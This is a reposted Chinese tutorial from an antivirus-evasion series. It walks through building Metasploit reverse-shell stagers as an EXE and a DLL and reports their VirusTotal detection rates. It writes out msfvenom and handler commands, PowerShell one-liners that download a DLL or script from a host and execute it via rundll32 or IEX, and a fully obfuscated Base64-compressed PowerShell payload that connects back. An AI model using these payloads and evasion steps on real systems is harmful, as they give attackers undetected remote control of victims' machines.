ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

【免杀73】使用stager.dll的多种免杀方式

2021-12-29 13:34:43  阅读:292  来源: 互联网

标签:exe 免杀 dll 73 cpp stager com x86


​2020年初,从网上搜集了多种免杀工具和方式,汇总整理了远控免杀专题文章的工具篇、代码篇、白名单篇等,共70篇文章。现时隔一年,听到不少免杀爱好者的追更诉求,同时也看到了很多新的bypassAV的工具和技巧,于是想把这个系列继续补充一些,内容也都是来自互联网,汇总到一起只是方便大家查阅参考。


免杀专题已完成的文章及相关软件下载:https://github.com/TideSec/BypassAntiVirus
免杀专题在线文库:https://www.yuque.com/tidesec/bypassav
0x01 配置准备msf 使用msf生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp_rc4 EXIT_FUNC=PROCESS LHOST=10.211.55.2 LPORT=5555  RC4PASSWORD=tidesec --encrypt aes256 --encrypt-iv 6295259629525900 --encrypt-key 17178930171789301717893017178930 -f c -o meterpreter.c

在msf上进行监听
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp_rc4
msf5 exploit(multi/handler) > set lhost 10.211.55.2
msf5 exploit(multi/handler) > set lport 5555
msf5 exploit(multi/handler) > set RC4PASSWORD tidesec
 
0x02 使用stager生成exe(VT查杀率7/72)   下载https://github.com/phackt/stager.dll
在vs中新建空项目,我这里是Project5
577CBCA6-B8CF-4748-936B-7528A85FF63A.png)
新建源文件stager.cpp和aes.cpp,新建头文件aes.h
然后将https://github.com/phackt/stager.dll中的相应文件内容复制到相应文件。
因为我msf生成的是x86,所以我是从stager_exe_32.cpp中复制内容到stager.cpp。
然后修改stager.cpp中的shellcode和密钥。

生成exe后,执行Project.exe。

msf中可上线

virustotal.com上查杀率为7/72

0x03 使用stager生成dll(VT查杀率0/71) 还是和上面一样,新建项目和三个文件,因为是生成dll文件,所以是从stager_dll_32.cpp中复制内容到stager.cpp,而不是上面的stager_exe_32.cpp。
然后修改shellcode和key值。

项目属性,修改为dll文件

生成dll文件,使用rundll32.exe Project5.dll,Exec可执行。此处也可以使用rundll32.exe Project5.dll,#1也可执行。

msf中可以正常上线

virustotal.com上查杀率为0/71

0x04 powershell免杀处理(VT查杀率5/59) 在powershell中执行
$file = $env:temp+'\'+(Get-Random)+'.dll'; (New-Object System.Net.WebClient).DownloadFile('http://10.211.55.2/stager.dll',$file); $exec = New-Object -com shell.application;$exec.shellexecute('rundll32',$file+',Exec');

或者直接powershell一句话执行
powershell -c "$file = $env:temp+'\'+(Get-Random)+'.dll'; (New-Object System.Net.WebClient).DownloadFile('http://10.211.55.2/stager.dll',$file); $exec = New-Object -com shell.application;$exec.shellexecute('rundll32',$file+',Exec');"


将上面内容保存为dropper.ps1,使用Invoke-Obfuscation对其进行混淆。
git clone https://github.com/danielbohannon/Invoke-Obfuscation.git cd Invoke-Obfuscation && powershell -exec bypass -c "Import-Module ./Invoke-Obfuscation.psd1;Invoke-Obfuscation"

然后
SET SCRIPTPATH c:\test\dropper.ps1TOKEN\ALL\1,BACK,MEMBER\1,BACK,WHITESPACE\1,1,1,HOME,STRING\3,HOME,COMPRESS\1,Launcher\PS\234567\Copy


PoWeRsheLL  -NOlo  -wIn  1 -noNI  -NOpROfiL -EXecUT  bypASS -CO  "(NeW-ObJect Io.cOMpressiON.dEFLATESTreAm([sYSTEM.io.MEmORystREam] [CONVeRt]::frOmBaSe64string( 'XVRtT+JAEP4rE2JsG2ilheKh8cOFw8udHiVqOI3xA5RFampLoLxca//7zcxut6Kmu7Mddp55npnpvcjAbGzXjWZjPInThgV4BMswkij4bb/4XqvntbrP4XC8+RMMLiaJOAHT+bB6nZf19+XguWXMHoUhBtN4LO5s6FavrbbnSrPZ/qaMrjJM+vlKrEO7r6M8hbkBoB3g9SvPbh0eeaBXuSz/XEU+95XRP/8KYeHlSwAL/40mwuCShwLhWvgc8DRs0Xt8wnyBq30YP5RuUbYLco7xeQDUBOg2NAHKIRq3ES43/WBRIPsWagYygMcQOa4UvYN7HDMUeQl5nmzX+GJh44GAcPMKgkMDEccPDGOCKW6C3Shy8GSp2AcRx2IpbYpecdioPdsSLQKhEAsb6vjtouwQCjNCOibuThmKR6Qg0CYWQH8oFDAkEgpzChbJ/DnuajV1JEFJKI9j3MRyUyeVpFE2VWJyBmiWbYKgVDAJr6A3+Lif2L6nWFcFmtFlrSHBBrbcFehejGo8wn+badoLrl6HGXtFDQNcQgJjfqfKBL1fscFLORA3fbSCgyhmuLM0JAxOBftF/At1uyYiVfX5Jqaz1JmoZElo1/VUieK586TzXovXabY58xzfV3yktk7bRePs7GKVZbpj1Z1Y/kS3T7uWtexyH/kVX+xYbKIU3ZMR1dHh7FWeIo5UIlN8k1LYZJ/+UMXVqNdzPALryt0kW4kkVWMhO0nqYmkJZa7vVYMmgqYlHszE37pwToZl1Jwz7SDYSqTNv/t6mDJpgipx1VI+E8fEekXdZ27B+nCSuJjcWwoppIZ/q+PuZR74zAIaf5kJwfCwULcy7aO2lfo6un9Ub/F3huiToGpwcqo5sYIvX5dqELn/oCktC7SKUk+KlqA1vaPbR/1A3SF+KpT3tNZ2LqkeA7I2nULyke1DiZ/qITCl1QSdAsbYrdU4Anxy4BCsqMI4BkNS6GJCDSToM8LeK6iGqxzeRnKarvk7w/NkmCY0iOslnGzvVrvb4BlscB3HNtXZicXoNVuC9WK/pVFiGB8QDQ//AQ=='),[SysteM.iO.COMPResSiON.comPresSIonmodE]::DeCoMpREsS ) |FOreACH-OBJeCT{NeW-ObJect io.sTreAmrEadeR( $_ , [tEXt.ENcODiNG]::AsCiI ) } ).readTOeND() |.((VarIAble '*mdr*').NaME[3,11,2]-Join'')"
 

可直接执行上面的代码,可回连。


将上面代码保存为stager.ps1,放在web目录下。可以使用下面的代码来下载stager.ps1并执行,不过我执行没能成功回连。本地执行stager.ps1也没能成功。

powershell.exe -nop -w 1 $e=(New-Object System.Net.WebClient).DownloadString(\"http://10.211.55.2/stager.ps1\"); IEX $e'!'A1'

stager.ps1文件免杀情况

0x05 cl.exe编译问题   在https://github.com/phackt/stager.dll中给出的编译是使用cl.exe,但由于我本地是使用的非完整版vs2017,环境变量没有配置完善,所以导致在使用cl.exe编译时,依赖头文件和lib文件出现很多问题。
最后是设置lib变量:C:\Program Files (x86)\Windows Kits\10\Lib\10.0.14393.0\um\x86;C:\Users\xysoul\Desktop\Visual Studio 2017 Enterprise\VC\Tools\MSVC\14.10.25017\lib\x86;C:\Program Files (x86)\Windows Kits\10\Lib\10.0.14393.0\ucrt\x86;C:\Users\xysoul\Desktop\Visual Studio 2017 Enterprise\VC\Tools\MSVC\14.10.25017\lib\x86
设置include变量:C:\Users\xysoul\Desktop\Visual Studio 2017 Enterprise\VC\Tools\MSVC\14.10.25017\include;C:\Program Files (x86)\Windows Kits\10\Include\10.0.14393.0\winrt;C:\Program Files (x86)\Windows Kits\10\Include\10.0.14393.0\um;C:\Program Files (x86)\Windows Kits\10\Include\10.0.14393.0\ucrt;C:\Program Files (x86)\Windows Kits\10\Include\10.0.14393.0\shared
设置path:C:\Users\xysoul\Desktop\Visual Studio 2017 Enterprise\VC\Tools\MSVC\14.10.25017\bin\HostX86\x86
编译命令
cl.exe /LD /MT /EHa stager.cpp aes.cpp /Fe:stager.dll



cl编译问题参考:http://www.voidcn.com/article/p-vqunffcz-bkc.html
https://blog.csdn.net/zhouyang209117/article/details/17737413
0x06 参考资料 wh0ale后渗透详解:·http://github.wh0ale.xyz/2019/01/23/2019-1-23-%E5%90%8E%E6%B8%97%E9%80%8F%E8%AF%A6%E8%A7%A3/
stager.dll项目地址:https://github.com/phackt/stager.dll

标签:exe,免杀,dll,73,cpp,stager,com,x86
来源: https://www.cnblogs.com/Xor0ne/p/15744561.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有